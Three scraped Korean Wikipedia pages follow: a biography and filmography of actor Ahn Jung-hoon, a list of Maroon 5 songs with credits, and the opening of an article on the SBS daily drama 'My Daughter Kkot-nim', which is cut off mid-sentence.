안정훈 (배우) - 위키백과, 우리 모두의 백과사전 안정훈 (배우) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 안정훈安政勳출생 1969년 12월 20일(1969-12-20) (49세)대한민국 서울특별시직업 배우활동 기간 1978년 ~ 현재소속사 더파이스 엔터테인먼트 학력 단국대학교 연극영화학과 학사형제자매 형 1명, 누나 1명배우자 허승연자녀 아들 안여준, 딸 안수빈, 안서연웹사이트 안정훈 홈피 안정훈(安政勳, 1969년 12월 20일 ~ )은 아역 탤런트 출신의 대한민국 남자 배우이다. 1978년 KBS 드라마 《KBS 문예극장》으로 연기자 데뷔했다. 대표작으로 드라마 《훈이 삼총사》, 《바람돌이 장영실》, 《해바라기》, 《사랑이 꽃피는 나무》, 《카이스트》 등이 있다. 목차 1 학력 2 에피소드 3 연기 활동 3.1 드라마 3.2 영화 3.3 공연 4 방송 5 CF 출연 6 앨범 7 경력 8 수상 9 각주 학력[편집] 단국대학교 연극영화학과 학사 에피소드[편집] 10살 때였던 1978년에 KBS1 《문예극장》에서 꼬마 신랑 역으로 데뷔해 지금까지 탄탄하게 연기 생활을 하고 있다. 취미는 골프, 특기는 노래부르기 와 알토 섹소폰 연주 이다. 1996년 안정훈은 한창 주가를 올리며 최고의 스타들이 총 출동했던 프로그램인 《젊음의 행진》 MC를 맡았다. 2001년부터 단국대학교 출신 연예인들로 구성된 '단연회(檀演會)'를 만들어 공식 출범한 뒤 회장을 맡아 매년 1일 찻집과 바자회, 불우 청소년 초청, 단국대 입학안내 도우미 등을 통해 일찍부터 이웃 사랑을 실천하고 있다. 안정훈 외에도 탤런트 오현경, 김혜선, 신은경, 김정민, 이민영, 김현주, 김민정(민지영 본명), 2000년 미스코리아 진 김연주, 가수 강현수, 바다, 코미디언 김종국, 고명환 등이 단연회의 주축 멤버들이다. 안정훈은 '모여서 동문의 정을 나누는 것도 좋지만, 뜻있는 일을 한다는 데 매력이 있다'고 말한다.[1][2] 안정훈은 2010년 3월 10일 방송된 KBS 《박수홍 최원정의 여유만만》에 1살 연하의 아내 허승연, 두 딸 수빈(1999년생), 서연(2004년생)과 늦둥이 아들 여준(2008년생)과 함께 출연해 행복한 가족사를 공개했다.[3] 안정훈은 21세에 아내를 만나 9년의 열애 끝에 1998년 5월 5일에 결혼식을 올렸다. 연기 활동[편집] 드라마[편집] 1978년 KBS 단막극 《TV문예극장》 ... 내시 손자 역 1979년 KBS 어린이드라마 《꽃처럼 새처럼》 1980년 TBC 어린이드라마 《홈런이다 홈런》 1980년 TBC 어린이드라마 《바람돌이 장영실》 ... 장영실 역 1981년 KBS 어린이드라마 《꼴찌 만세》 1981년 KBS 어린이드라마 《훈이 삼총사》 ... 훈이 역 1981년 MBC 어린이드라마 《호랑이 선생님》 1982년 KBS 대하드라마 《풍운》 ... 어린 고종 역 1983년 KBS 이산가족드라마 《남매》 ... 상만 역 1983년 KBS 청소년드라마 《고교생 일기》 1984년 KBS 어린이드라마 《꾀돌이 삼총사》 1986년 MBC 일요아침드라마 《한지붕 세가족》 1987년 KBS 청춘드라마 《사랑이 꽃피는 나무》 ... 고3 수진 역 1990년 MBC 미니시리즈 《여자는 무엇으로 사는가》 ... 경훈 역 1990년 MBC 미니시리즈 《춤추는 가얏고》 ... 찬우 역 1991년 MBC 수목드라마 《까치 며느리》 ... 강민수 역 1991년 SBS 일요아침드라마 《사랑의 풍차》 1991년 KBS 토요드라마 《가족》 1992년 SBS 주말극장 《두려움 없는 사랑》 ... 장기태 역 1993년 KBS 아침드라마 《서 있는 여자》 ... 철민 역 1996년 MBC 미니시리즈 《그들의 포옹》 ... 피한세 역 1996년 KBS 아침드라마 《은하수》 ... 송 선생 역 1996년 KBS 일요아침드라마 《귀여운 여자》 1996년 KBS 미니시리즈 《엄마는 출장중》 ... 김동훈 역 1996년 KBS 일일연속극 《오늘은 남동풍》 ... 한지수 역 1997년 KBS 아침드라마 《신부의 방》 1998년 SBS 아침드라마 《엄마의 딸》 ... 지철민 역 1998년 MBC 미니시리즈 《해바라기》 ... 신경외과 치프 레지던트 고상도 역 1999년 KBS 주간드라마 《어사출두》 ... 박문수의 어사보, 상배 역 1999년 SBS 일요드라마 《카이스트》 ... 박기훈 역 1999년 SBS 아침연속극 《그녀의 선택》 ... 이승국 역 1999년 KBS2 아침드라마 《만남》 ... 장태원 역 2000년 MBC 미니시리즈 《진실》 ... 이영철 역 2000년 KBS 아침드라마 《송화》 2000년 MBC 미니시리즈 《이브의 모든 것》 ... 김준모 역 2000년 KBS 대하드라마 《태조 왕건》 ... 고려 혜종 역 2000년 SBS 청춘시트콤 《골뱅이》 ... 교수 역 2000년 SBS 미니시리즈 《천사의 분노》 ... 정민 역 2001년 KBS 일일시트콤 《쌍둥이네》 ... 변호사 안정훈 역 2001년 SBS 아침연속극 《이별 없는 아침》 ... 한정우 역 2003년 KBS 일일연속극 《백만송이 장미》 ... 박혜성 역 2003년 KBS 미니시리즈 《여름 향기》 ... 민우의 선배, 지대풍 역 2003년 ITV 주간시트콤 《닥터닥터》 ... 치과의사 역 2004년 KBS 어린이드라마 《울라불라 블루짱》 ... 윤상식 역 2004년 SBS 아침연속극 《선택》 ... 신대서 역 2005년 EBS 문화사시리즈 《명동 백작》 ... 김관식 역 2005년 KBS 주말연속극 《슬픔이여 안녕》 ... 오기범 역 2006년 MBC 창사특별기획 《주몽》 ... 마리 역 2006년 KBS 일일연속극 《열아홉 순정》 ... 고광만 역 2007년 SBS 주말 특별기획 《푸른 물고기》 ... 윤종호 역 2007년 SBS 대하드라마 《왕과 나》 ... 박근수 역 2008년 KBS 미니시리즈 《태양의 여자》 ... 고훈 역 2009년 SBS 연말특집극 《아버지의 집》 ... 박진우 역 2010년 KBS 주말특별기획 《명가》 ... 반돌 역 2010년 SBS 창사특집극 《초혼》 ... 학진 역 2011년 SBS 미니시리즈 《내게 거짓말을 해봐》 ... 안 과장 역 2011년 EBS 어린이드라마 《꾸러기 천사들》 ... 현서 아빠 역 2011년 채널A 주말연속극 《천상의 화원 곰배령》 ... 이남길 역 2014년 MBC 미니시리즈 《야경꾼 일지》 ... 천씨 역 2014년 tvn 아침드라마 《가족의 비밀》 ... 차상민 역 2015년 MBC 아침드라마 《이브의 사랑》 ... 이동협 역 (특별출연) 2016년 MBC 주말 특별기획 《아버님 제가 모실게요》 ... 강민석 역 영화[편집] 1991년 《있잖아요 비밀이에요 2》 1991년 《지금 우리는 사랑하고 싶다》 2001년 《우먼 파트너 놀자》 ... 태자 역 공연[편집] 2006년 뮤지컬 《행진 와이키키 브라더스》 방송[편집] 1990년 BBS FM 《젊음을 위하여》 DJ 1991년 KBS 《젊음의 행진》 MC 2011년 KBS 《리빙쇼! 당신의 여섯시》〈살과의 전쟁 - 몸짱 아빠 좋은 아빠〉 2011년 EBS 《나눔 0700》 MC 2010년 ~ KBS2 《다큐멘터리 3일》 내레이션 CF 출연[편집] 롯데푸드 돼지바 롯데제과 빼빼로 옥시레킷벤키저 옥시싹싹 걸레욕실청소 롯데푸드 로스구이햄 사조해표 해표식용유 해태음료 써니텐 앨범[편집] 1991년 1집 《남아고독》 1992년 2집 《안정훈 Vol.2》 경력[편집] 1996년 쟈칼연예인축구단 단원 2003년 한국과학문화재단 제1호 명예과학홍보대사 수상[편집] 2003년 KBS 연기대상 조연상 각주[편집] ↑ 송원섭 기자 (2005년 5월 31일). “허위 'X파일'보다 더 두꺼운 '연예인 선행 파일'”. 스포츠조선. 2010년 4월 17일에 확인함.  ↑ “대입박람회 연예인 도우미 등장”. 경인일보. 2001년 11월 23일. 2010년 4월 19일에 확인함.  ↑ 김지윤 기자 (2010년 3월 11일). “안정훈 “21살에 만난 아내, 9년 연애 끝에 결혼했다””. 뉴스엔. 2010년 4월 17일에 확인함.  원본 주소 "https://ko.wikipedia.org/w/index.php?title=안정훈_(배우)&oldid=24235998" 분류: 1969년 태어남살아있는 사람단국대학교 동문대한민국의 남자 연극 배우대한민국의 남자 모델서울특별시 출신 배우개신교도 이탈자20세기 대한민국 사람21세기 대한민국 사람대한민국의 남자 영화 배우대한민국의 남자 어린이 배우대한민국의 남자 뮤지컬 배우 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 Română 링크 편집 이 문서는 2019년 5월 17일 (금) 18:27에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
마룬 5의 노래 목록 - 위키백과, 우리 모두의 백과사전 마룬 5의 노래 목록 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 목록은 아직 미완성입니다. 여러분이 편집하여 채워 주세요. 마룬 5의 노래 목록 이 글은 미국의 팝 록 밴드 마룬 5의 노래 목록이다. 음반에 대해서는 마룬 5의 음반 목록을 참고하길 바란다. 목차 1 원곡 2 커버 곡 3 미발매 곡 4 피처링한 곡 5 카라스 플라워스 6 같이 보기 7 각주 8 외부 링크 원곡[편집] 곡명 음반/싱글 발매 연도 작사작곡 프로듀서 "Back At Your Door" It Won't Be Soon Before Long 2007 애덤 리바인, 제시 카마이클 "Beautiful Goodbye" Overexposed 2012 애덤 리바인, 벤자민 레빈(Benjamin Levin), 아마 마릭(Ammar Malik), Cagaanan "Better That We Break" It Won't Be Soon Before Long 2007 애덤 리바인 "Can't Stop" It Won't Be Soon Before Long 2007 애덤 리바인, 제임스 밸런타인 "Chilly Winter (Demo)" Songs About Jane (10주년 기념반) 2012 "Daylight" Overexposed 2012 애덤 리바인, 맥스 마틴, 샘 마틴(Sam Martin), 메이슨 레비(Mason Levy) "Doin' Dirt" Overexposed 2012 애덤 리바인, 쉘백(Shellback) "Don't Know Nothing" Hands All Over 2010 애덤 리바인, 샘 패러 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Figure It Out" It Won't Be Soon Before Long (딜럭스반) 2007 "Fortune Teller" Overexposed 2012 애덤 리바인, 제임스 밸런타인, 미키 매든 "Get Back In My Life" Hands All Over 2010 애덤 리바인, 제시 카마이클, 제임스 밸런타인 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Give A Little More" Hands All Over 2010 애덤 리바인, 제시 카마이클, 제임스 밸런타인 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Goodnight Goodnight" It Won't Be Soon Before Long 2007 애덤 리바인, 제임스 밸런타인 "Hands All Over" Hands All Over 2010 애덤 리바인, 샘 패러, 제시 카마이클 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Harder To Breathe" Songs About Jane 2002 애덤 리바인, 제시 카마이클 "How" Hands All Over 2010 애덤 리바인 , 제시 카마이클, 샘 패러, 숀 텔레즈(Shawn Tellez) 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "I Can't Lie" Hands All Over 2010 애덤 리바인, 샘 패러 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "If I Never See Your Face Again" It Won't Be Soon Before Long 2007 애덤 리바인, 제임스 밸런타인 "If I Never See Your Face Again" (Feat. 리한나) It Won't Be Soon Before Long 2008 애덤 리바인, 제임스 밸런타인 "Infatuation" It Won't Be Soon Before Long 2007 "Is Anybody Out There" (Feat. PJ 모턴) 음반 미수록곡 2011 마룬 5 "Just A Feeling" Hands All Over 2010 애덤 리바인, 제시 카마이클 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Kiwi" It Won't Be Soon Before Long 2007 애덤 리바인, 제임스 밸런타인 "Ladykiller" Overexposed 2012 애덤 리바인, 제임스 밸런타인, 미키 매든 "Last Chance" Hands All Over (딜럭스반) 2010 애덤 리바인, 샘 패러 "Little Of Your Time" It Won't Be Soon Before Long 2007 애덤 리바인 "Losing My Mind" It Won't Be Soon Before Long (딜럭스반) 2007 "Lome Somebody" Overexposed 2012 애덤 리바인, 라이언 테더, 노엘 장카넬라(Noel Zancanella), 나타니엘 모트(Nathaniel Motte) "Lucky Strike" Overexposed 2012 애덤 리바인, 라이언 테더, 노엘 장카넬라(Noel Zancanella) "Makes Me Wonder" It Won't Be Soon Before Long 2007 애덤 리바인, 제시 카마이클, 미키 매든 "Misery" Hands All Over 2010 애덤 리바인, 제시 카마이클, 샘 패러 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Miss You Love You" It Won't Be Soon Before Long (딜럭스반) 2007 "Moves Like Jagger" (Feat. 크리스티나 아길레라) Hands All Over 2011 애덤 리바인, 베니 블랑코(Benny Blanco), 아마 마릭(Ammar Malik), 쉘백(Shellback) "Moves Like Jagger" (Feat. 크리스티나 아길레라, 맥 밀러) Moves Loke Jagger 싱글 2011 애덤 리바인, 베니 블랑코(Benny Blanco), 아마 마릭(Ammar Malik), 쉘백(Shellback) "Must Get Out" Songs About Jane 2002 애덤 리바인, 제시 카마이클 "Never Gonna Leave This Bed" Hands All Over 2010 애덤 리바인 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "No Curtain Call" Hands All Over (딜럭스) 2010 애덤 리바인, 제시 카마이클, 하모니 데이비드 사무엘스(Harmony David Samuels) "Not Coming Home" Songs About Jane 2002 제시 카마이클, 라이언 두식, 애덤 리바인 "Not Falling Apart" It Won't Be Soon Before Long 2007 애덤 리바인 "Nothing Lasts Forever" It Won't Be Soon Before Long 2007 애덤 리바인 "One More Night" Overexposed 2012 애덤 리바인, 쉘백(Shellback), 맥스 마틴(Max Martin), 새이번 코테차(Savan Kotecha) "Out Of Goodbyes" (Feat. 레이디 엔터벨룸) Hands All Over 2010 애덤 리바인, 제시 카마이클, 제임스 밸런타인 "Payphone" (Feat. 위즈 칼리파) Overexposed 2012 애덤 리바인, 베니 블랑코(Benny Blanco), 아마 마릭(Ammar Malik), 로보팝(Robopop), 쉘백(Shellback), 위즈 칼리파 "Payphone" (랩 제거 버전) Payphone 싱글 2012 애덤 리바인, 베니 블랑코(Benny Blanco), 아마 마릭(Ammar Malik), 로보팝(Robopop), 쉘백(Shellback) "Rag Doll" Songs About Jane (스페셜 리패키지반, 10주년 기념반) 2004 애덤 리바인, 제시 카마이클 "Runaway" Hands All Over 2010 애덤 리바인, 제시 카마이클 로버트 존 "머트" 랭(Robert John "Mutt" Lange) "Sad" Overexposed 2012 애덤 리바인, 제임스 밸런타인, 노아 패소보이(Noah Passovoy) "She Will Be Loved" Songs About Jane 2002 애덤 리바인, 제임스 밸런타인 "Shiver" Songs About Jane 2002 제시 카마이클, 애덤 리바인 "Story" It Won't Be Soon Before Long (딜럭스반) 2007 "Stutter" Hands All Over 2010 애덤 리바인, 샘 패러, 맷 플린 "Sunday Morning" Songs About Jane 2002 애덤 리바인, 제시 카마이클 "Sweetest Goodbye" Songs About Jane 2002 애덤 리바인 "Take What You Want (Demo)" Songs About Jane (10주년 기념반) 2012 "Tangled" Songs About Jane 2002 애덤 리바인 "The Air That I Breathe" Hands All Over (딜럭스) 2010 애덤 리바인, 제임스 밸런타인, 토미 킹 "The Man Who Never Lied" Overexposed 2012 애덤 리바인, 브라이언 웨스트(Brian West), 마리우스 모가(Marius Moga) "The Way I Was" It Won't Be Soon Before Long (딜럭스반) 2007 애덤 리바인, 제임스 밸런타인, 라이언 두식 "Through With You" Songs About Jane 2002 제시 카마이클, 애덤 리바인 "Tickets" Overexposed 2012 애덤 리바인, 제임스 밸런타인, 미키 매든 "Secret" Songs About Jane 2002 제시 카마이클, 애덤 리바인 "The Sun" Songs About Jane 2002 애덤 리바인 "This Love" Songs About Jane 2002 애덤 리바인, 제시 카마이클 "Until You're Over Me" It Won't Be Soon Before Long (딜럭스반) 2007 "Wake Up Call" It Won't Be Soon Before Long 2007 애덤 리바인, 제임스 밸런타인 "Wake Up Call (Mark Ronson 리믹스)" (Feat. 메리 J. 블라이즈) It Won't Be Soon Before Long 2007 애덤 리바인, 제임스 밸런타인, Dante "Wasted Years" Overexposed (딜럭스반) 2012 애덤 리바인, 제임스 밸런타인, 미키 매든, 제시 카마이클, 라이언 두식, 리차트 페니맨(Richard Penniman) "Wasted Years" (라이브) Live - Friday the 13th 2005 애덤 리바인, 제임스 밸런타인, 미키 매든, 제시 카마이클, 라이언 두식 "Wipe Your Eyes" Overexposed (딜럭스반) 2012 애덤 리바인, 조나단 로템(Jonathan Rotem), 로스 골런(Ross Golan), Sanjeet Singh Kang, 데이몬 알반(Damon Albarn), 마리암 덤비아(Mariam Doumbia), Marc Moreau "Woman" 스파이더맨 2 사운드 트랙/Songs About Jane (10주년 기념반) 2004 애덤 리바인 "Won't Go Home Without You" It Won't Be Soon Before Long 2007 애덤 리바인 커버 곡[편집] 곡명 음반 연도 원곡 음악가 작사작곡 "If I Fell" 1.22.03.Acoustic 2004 비틀즈 레논-매카트니 "Highway to Hell" (라이언 두식 보컬) 1.22.03.Acoustic 2004 AC/DC 본 스콧, 앵거스 영, 맬컴 영 "Hello" Live - Friday the 13th 2005 오아시스 노엘 갤러거, 개리 글리터(Gary Glitter), 마이크 린더(Mike Leander) "Ain't No Sunshine" Live - Friday the 13th 2005 빌 위더스 빌 위더스 "Happy Xmas (War Is Over)" "Happy Xmas (War Is Over)" 싱글/ Hands All Over (딜럭스반) 2009 존 & 요코, 플라스틱 오노 밴드 존 레논, 오노 요코 "Crazy Little Thing Called Love" Hands All Over 2010 퀸 프레디 머큐리 "If I Ain't Got You" Hands All Over (딜럭스반) 2011 앨리샤 키스 앨리샤 키스 "Kiss" Overexposed (딜럭스반) 2012 프린스 프린스 "Let's Stay Together" Overexposed (딜럭스반) 2012 알 그린 알 그린, 윌리 미첼(Willie Mitchell), 알 잭슨 주니어(Al Jackson, Jr.) 미발매 곡[편집] 곡명 정보 출처 "Pleasure Fucker" Overexposed의 "Lady Killer"에서 이 곡의 기타 리프를 사용하였다. [1] 피처링한 곡[편집] 곡명 음반/싱글 연도 음악가 작사작곡 피처링한 멤버 "Heard 'Em Say" Late Registration 2005 카니예 웨스트 카니예 웨스트, 애덤 리바인, Michael Masser, 게리 고핀(Gerry Goffin) 애덤 리바인 "Live Again" U.nited S.tate of A.tlanta 2005 잉양 트윈스 애덤 리바인 "Say It Again" N.B. 2007 나타샤 베딩필드 나타샤 베딩필드, 애덤 리바인, 마이크 엘리존도(Mike Elizondo) 애덤 리바인 "Bang Bang" Troubadour 2008 케이난 애덤 리바인 "Home" Ry Cuming 2010 리 커밍 제시 카마이클 "Stereo Hearts" The Papercut Chronicles II 2011 짐 클래스 히어로즈 트래비 맥코이, 애덤 리바인, 베니 블랑코(Benny Blanco), 벤자민 레빈(Benjamin Levin), Brandon Lowry, 아마 마릭(Ammar Malik), 댄 올메리오(Robopop)[1] 애덤 리바인 "Stand Up" Come Through for You 2011 하비에르 콜론 하비에르 콜론, Pharrell Williams, Martin Terefe 애덤 리바인 "My Life" Street King Immortal 2012 50 센트 커티스 잭슨, 에미넴, 애덤 리바인, 래리 그리핀 주니어, Herb Rooney 애덤 리바인 (에미넴과 함께) "YOLO" The Wack Album 2013 론리 아일랜드 애덤 리바인 "Heavy" New Orleans 2013 PJ 모턴 애덤 리바인, 제임스 밸런타인 "Locked Away" What Dreams Are Made Of 2015 R. City 애덤 리바인 카라스 플라워스[편집] 곡명 음반/싱글명 연도 작사작곡 "Buddy Two-Shoes Wilson" The Fourth World 1997 애덤 리바인, 제시 카마이클 "Captain Splendid" The Fourth World 1997 애덤 리바인, 제시 카마이클 "Future Kid" The Fourth World 1997 애덤 리바인, 제시 카마이클, 미키 매든, 라이언 두식 "Loving the Small Time" The Fourth World 1997 애덤 리바인, 제시 카마이클, 미키 매든, 라이언 두식 "My Ocean Blue" The Fourth World 1997 애덤 리바인, 제시 카마이클, 미키 매든, 라이언 두식 "Myself" The Fourth World 1997 애덤 리바인, 제시 카마이클, 미키 매든, 라이언 두식 "Pantry Queen" The Fourth World 1997 애덤 리바인, 제시 카마이클 "Sleepy Windbreaker" The Fourth World 1997 애덤 리바인, 제시 카마이클 "Soap Disco" The Fourth World 1997 애덤 리바인, 제시 카마이클, 미키 매든, 라이언 두식 "The Never Sega" The Fourth World 1997 애덤 리바인, 제시 카마이클 "To Her, With Love" The Fourth World 1997 애덤 리바인, 제시 카마이클, 미키 매든, 라이언 두식 Stagg Street Recordings "If You Only Knew" – 3:26 "The Fog" – 4:42 "Simple Kind of Lovely" – 3:24 "The Great Getaway" – 4:13 "Good at Being Gone" – 3:05 "Not Falling Apart" – 2:15 (It Won't Be Soon Before Long의 수록곡과 다름.) "The Kid with the Velvet Eyes" – 5:13 "As Things Collide" – 3:50 "Everyday Goodbyes" – 4:01 "A Day in the Life (Out-take)" – 1:14 We Like Digging? "Peeler" — 4:41 "Give Me Love" — 4:14 "Mental Mind Fuck" — 4:35 "Stable" — 4:17 "Ray Pim" — 2:48 "Leave A Message" — 6:14 "Miner" — 5:01 "Dame Cabeza" — 4:26 "Clomb" — 2:08 "Genius" — 5:29 "Untitled" — 12:58 Four-Track Demonstrations Someone More Comfortable Vanessa Spoke With Kate (And She Said) If You Only Knew (Acoustic Version) The Kid With The Velvet Eyes (Acoustic Version) A Piano And Guitar Jam Shayanni's Surprise Feeling Slow The Sentimental Programmer Post We Like Digging Demos On My Show Angela Dreammaker #222 Need Some Fun The Fourth World B-Sides Angel In Blue Jeans Come Talk With Me Grave Condition The Powers That Be Good Evening Dr. Nothing Yesterday When I Was Handsome Post Stagg Street Songs July However Whatever Just Tell Me One Thing Give My Life Keep Your Head These Days 같이 보기[편집] 마룬 5의 음반 목록 각주[편집] ↑ “BMI Repertoire - Stereo Hearts”. BMI. 2012년 8월 15일에 원본 문서에서 보존된 문서. 2011년 7월 12일에 확인함.  외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.마룬 5의 노래 목록 (영어) 마룬 5의 노래 목록 - 공식 웹사이트 (영어) S.I.N. 공식 팬 클럽 vdeh마룬 5 애덤 리바인 제시 카마이클 미키 매든 제임스 밸런타인 맷 플린 PJ 모턴 샘 패러라이언 두식 정규 음반 Songs About Jane (2002) It Won't Be Soon Before Long (2007) Hands All Over (2010) Overexposed (2012) V (2014) Red Pill Blues (2017) 라이브 음반 1.22.03.Acoustic (2004) Live – Friday The 13th (2005) Live from SoHo (2008) Live from Le Cabaret (2008) 컴필레이션 음반 The B-Side Collection (2007) Call And Response: The Remix Album (2008) Singles (2015) EP iTunes Session (2011) 투어 Songs About Jane Tour (2002 ~ 2004) 제5회 혼다 시빅 투어 (2005) It Won't Be Soon Before Long Tour (2007 ~ 2008) 백 투 스쿨 투어 (2009) Palm Trees And Power Lines Tour (2010) Hands All Over Tour (2010 ~ 2011) Overexposed Tour (2012 ~ 2014) 제12회 혼다 시빅 투어 (2013) 마룬 V 투어 (2015 ~ 2017) 관련 문서문서 음반 목록 노래 목록 비디오그래피 수상 및 후보 목록 구성원 목록 인물 카라스 플라워스 제임스 디너 스퀘어 음반과 노래 We Like Digging? (1995): 카라스 플라워스의 비공식 정규 1집 The Fourth World (1997): 카라스 플라워스의 공식 정규 1집 "Soap Disco" (1997): 카라스 플라워스의 싱글 음반 His Way, Our Way (2009): 마룬 5 참여 헌정 음반 Four Songs (2012): 제시 카마이클의 솔로 음반 레이블 인터스코프 레코드 A&M/옥톤 레코드 A&M 레코드 J 레코드 222 레코드 vdeh마룬 5의 싱글 애덤 리바인 제시 카마이클 미키 매든 제임스 밸런타인 맷 플린 PJ 모턴 샘 패러 라이언 두식 Songs About Jane (2002) "Harder to Breathe" (2002) "This Love" (2004) "She Will Be Loved" (2004) "Sunday Morning" (2004) "Must Get Out" (2005) It Won't Be Soon Before Long (2007) "Makes Me Wonder" (2007) "Wake Up Call" (2007) "Won't Go Home Without You" (2007) "If I Never See Your Face Again" (2008) "Goodnight Goodnight" (2008) Hands All Over (2010) "Misery" (2010) "Give a Little More" (2010) "Never Gonna Leave This Bed" (2011) "Moves Like Jagger" (2011) Overexposed (2012) "Payphone" (2012) "One More Night" (2012) "Daylight" (2012) "Love Somebody" (2013) V (2014) "Maps" (2014) "Animals" (2014) "Sugar" (2015) "This Summer" (2015) "Feelings" (2015) Red Pill Blues (2017) "Don't Wanna Know" (2016) "Cold" (2017) “What Lovers Do” (2017) 그 외의 곡 "Soap Disco" (1997; 카라스 플라워스의 싱글) "The Way I Was" (2007; 프로모션용 싱글) "It Was Always You" (2014; 프로모션용 싱글) "Lost Stars" (2014; 애덤 리바인의 싱글) 관련 문서 마룬 5의 노래 목록 분류 원본 주소 "https://ko.wikipedia.org/w/index.php?title=마룬_5의_노래_목록&oldid=21834258" 분류: 마룬 5의 노래노래 목록숨은 분류: 위키데이터에 링크가 없는 위키공용분류위키데이터에 없는 공식 웹사이트 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 EnglishՀայերենTürkçe 링크 편집 이 문서는 2018년 7월 22일 (일) 15:19에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
내 딸 꽃님이 - 위키백과, 우리 모두의 백과사전 내 딸 꽃님이 위키백과, 우리 모두의 백과사전. (내딸꽃님이에서 넘어옴) 둘러보기로 가기 검색하러 가기 내 딸 꽃님이 장르 가족 방송 국가 대한민국 방송 채널 SBS 방송 기간 2011년 11월 14일 ~ 2012년 5월 18일 방송 시간 월 ~ 금 저녁 7시 20분 ~ 8시 방송 분량 40분 방송 횟수 131 책임프로듀서 김정민 제작사 크레아윅스 연출 박영수 조연출 남건 극본 박예경 출연자 진세연, 최진혁, 조민수, 박상원 외 닫는 곡 가연 - 사랑이죠 언어 한국어 음성 2채널 스테레오 사운드 HD 방송 여부 HD 제작 · 방송 외부 링크  내 딸 꽃님이 홈페이지 《내 딸 꽃님이》는 2011년 11월 14일부터 2012년 5월 18일까지 방영된 SBS 일일드라마이다. 목차 1 기획 의도 2 등장 인물 2.1 주요 인물 2.2 꽃님이네 2.3 상혁이네 2.4 채경이네 2.5 그 외 인물 2.6 특별출연 3 시청률 4 수상 5 결방과 연장 6 경쟁 프로그램 7 각주 8 외부 링크 기획 의도[편집] 피 한 방울 섞이지 않은 모녀가 기꺼이 서로를 위해 헌신하고 보듬으며 살아가는 따뜻한 이야기를 다루었다. 등장 인물[편집] 주요 인물[편집] 진세연 : 양꽃님 역 착하고 순수한 마음을 지닌 푸른재활병원에서 일하는 작업치료사. 어릴 적 어머니를 여의고 7년 전 교통사고로 아버지마저 떠나 보낸 후 새어머니 순애와 단둘이 살고 있다. 재활병원에 다니는 준혁의 작업치료를 담당하면서 준혁의 형인 상혁과 연인관계로 발전한다. 하지만 순애와 상혁의 숨겨진 관계가 드러나면서 순애와 갈등하게 된다. 그러나 그동안 자신을 위해 헌신하며 살아 온 순애의 행복을 위해 자신의 사랑을 과감히 포기한다. 하지만 파혼한 이후 채경과 결혼을 앞둔 상혁의 아이를 임신한 사실을 알게되어 막막한 현실에 절망한다. 그러던 중 채경의 악행이 밝혀져 채경과 상혁은 파혼하고 이후 임신한 사실을 상혁이 알면서 그와 결혼하고 아들 은별을 낳아 행복한 가정을 꾸린다. 최진혁 : 구상혁 역 (아역 김영재) 의류업체 지센그룹 경영주인 구재호의 아들이자 지센그룹 기획마케팅실 기획 MD. 어렸을 때 우연히 자신이 입양되었다는 사실을 알게 됐고 동생 준혁과는 다르게 자신에게는 늘 부정적인 아버지의 행동을 오해해 갈등을 쌓아 왔다. 대학시절 동생 준혁이 자신을 찾으러 오던 중 교통사고를 당한 사실 때문에 죄책감을 갖고 있으며 어린 아이가 된 준혁을 보살피며 살고 있다. 그러던 중 준혁의 작업치료사인 꽃님과 자꾸 부딪히며 사랑에 빠진다. 그 누구에게도 마음을 열지 않던 차가웠던 그의 마음은 꽃님을 만나면서 따뜻하게 변하게 된다. 사랑이 깊어져 꽃님과 결혼하려 하지만 사실 자신의 친아버지가 재호이며 친어머니는 꽃님의 새어머니인 장순애임을 알고 충격에 빠진다. 이후 꽃님과 파혼하고 가족사가 언론에 공개되어 꽃님이 위기에 처하자 상혁은 채경과 결혼을 결심한다. 그러나 7년 전 자신의 동생을 다치게 하고 꽃님의 아버지를 죽게 한 뺑소니사고 범인이 채경이라는것을 알게 된 후 그녀와 파혼한다. 그리고 꽃님의 임신 사실을 알게 된 후 꽃님과 결혼하여 부부의 연을 맺고 아들 은별을 낳아 단란한 가정을 꾸린다. 조민수 : 장순애 역 고운 외모와 심성을 가진 꽃님의 새어머니. 대학시절 재호를 만나 사랑에 빠져 아이까지 가졌으나 고아인 자신을 반대하는 재호의 모친으로 인해 결국 